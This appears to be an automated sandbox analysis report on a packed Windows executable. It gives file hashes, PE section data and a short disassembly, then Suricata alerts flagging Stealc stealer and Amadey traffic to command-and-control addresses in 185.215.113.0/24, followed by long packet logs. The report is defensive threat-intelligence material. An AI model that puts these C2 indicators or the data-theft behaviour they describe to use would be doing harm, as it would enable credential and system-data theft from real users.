Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94738860163235
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'821'184 bytes
MD5:	da6b9cd7867d565cb1da841407849c4f
SHA1:	ba7b0a79e236af80a6f684837921e5722a553b9d
SHA256:	2b04ca7ff886c171d614908d66a1d2bc3503247be5f5b11b984cc4483b720c34
SHA512:	425c57549d36893bf392c6d3d9d9a75590d4b43d328e8d19616a48fc855add9174f6c83c41091762608466e94bb1abcbda6b4236279329f645970da34fd37e23
SSDEEP:	49152:SJ/X46RiRHgCekEAXfzN/bZduRLgqcTQC:W/X5kMAFdRq+QC
TLSH:	CC85333702B11B6CDD7C20B2A166C2957770B4B2DFEF9813945D6C75DABA22D21EC231
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F332D22E9BAh
push gs
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F332D2309B5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	aa6984c3a13a79ae7f3a82593f7cd65d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	7b15bd78543975964c7c05f21d373067	False	0.794921875	data	6.038581550887201	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b2000	0x200	ec20b4393d83610d14b8cc11f1ad1147	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bnuodmgb	0x4fe000	0x1a3000	0x1a2c00	568b73756dd03165def8938eec0c9198	False	0.9949696828358209	OpenPGP Secret Key	7.955113435372073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wgoihuwh	0x6a1000	0x1000	0x400	8311d862d84453edde46692d2650e600	False	0.7587890625	data	5.96525243944704	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a2000	0x3000	0x2200	a6cb1c205d7912ba26aec012037d93e7	False	0.0700827205882353	DOS executable (COM)	0.6660074416196421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a0984	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T12:35:06.990709+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49705	185.215.113.206	80	TCP
2024-11-17T12:35:07.273603+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49705	185.215.113.206	80	TCP
2024-11-17T12:35:07.317755+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49705	TCP
2024-11-17T12:35:07.594667+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49705	185.215.113.206	80	TCP
2024-11-17T12:35:07.602572+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49705	TCP
2024-11-17T12:35:08.699601+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49705	185.215.113.206	80	TCP
2024-11-17T12:35:09.286427+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49705	185.215.113.206	80	TCP
2024-11-17T12:35:32.696470+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:36.110028+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:38.076939+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:39.229947+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:41.438733+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:42.004363+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:46.206192+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49948	185.215.113.16	80	TCP
2024-11-17T12:37:06.758773+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50127	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 12:34:57.455566883 CET	49675	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:34:57.596230984 CET	49674	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:34:57.643333912 CET	49673	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:05.772455931 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:05.777695894 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:05.777795076 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:05.777949095 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:05.782883883 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:06.693522930 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:06.693814039 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:06.697535992 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:06.702603102 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:06.990515947 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:06.990709066 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:06.991839886 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:06.996890068 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.064878941 CET	49675	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:07.205487967 CET	49674	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:07.252317905 CET	49673	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:07.273351908 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.273539066 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.273602962 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.273602962 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.312287092 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.317754984 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594297886 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594369888 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594400883 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594455004 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594491005 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594546080 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594579935 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.594666958 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.594666958 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.594763994 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.595135927 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.595308065 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.597484112 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.602571964 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.877512932 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.877782106 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.899136066 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.899136066 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:07.904392004 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.904422045 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.904448986 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.904475927 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.904500961 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.904550076 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:07.904577971 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:08.699331999 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:08.699600935 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:08.897058964 CET	443	49703	23.1.237.91	192.168.2.5
Nov 17, 2024 12:35:08.897341013 CET	49703	443	192.168.2.5	23.1.237.91
Nov 17, 2024 12:35:09.007409096 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.012768030 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286288023 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286304951 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286317110 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286427021 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.286473989 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286515951 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286520958 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.286520958 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.286529064 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286556959 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.286590099 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.286669016 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286679983 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.286906004 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.286906004 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.287116051 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.287204981 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.287214994 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.287303925 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.287338972 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.287305117 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.287473917 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.441642046 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.441694975 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.441705942 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.441761971 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.441853046 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.441854000 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.441873074 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.441910982 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.441943884 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.442043066 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.442097902 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.442177057 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.442234039 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.442363977 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.442420006 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.442451000 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.442461014 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.442500114 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.442588091 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.442641020 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.443121910 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.443175077 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.558495998 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.558578968 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.558726072 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.558736086 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.558744907 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.558754921 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.558764935 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.558777094 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.558784962 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.558818102 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.558849096 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.559420109 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.559468031 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.559477091 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.559487104 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.559528112 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.559768915 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.559822083 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.559848070 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.559861898 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.559900045 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.559900045 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.596515894 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.596585035 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.596754074 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.596774101 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.596795082 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.596811056 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.675414085 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.675437927 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.675517082 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.675568104 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.675932884 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.675993919 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676018000 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676039934 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676071882 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676105022 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676199913 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676220894 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676253080 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676284075 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676372051 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676446915 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676466942 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676487923 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676518917 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676552057 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.676565886 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.676611900 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.713665009 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.713726997 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.713749886 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.713771105 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.713825941 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.713865042 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.800474882 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.800524950 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.800546885 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.800592899 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.800594091 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.800635099 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.800647020 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.800659895 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.800682068 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.800703049 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.800829887 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.800882101 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.800931931 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.800952911 CET	80	49705	185.215.113.206	192.168.2.5
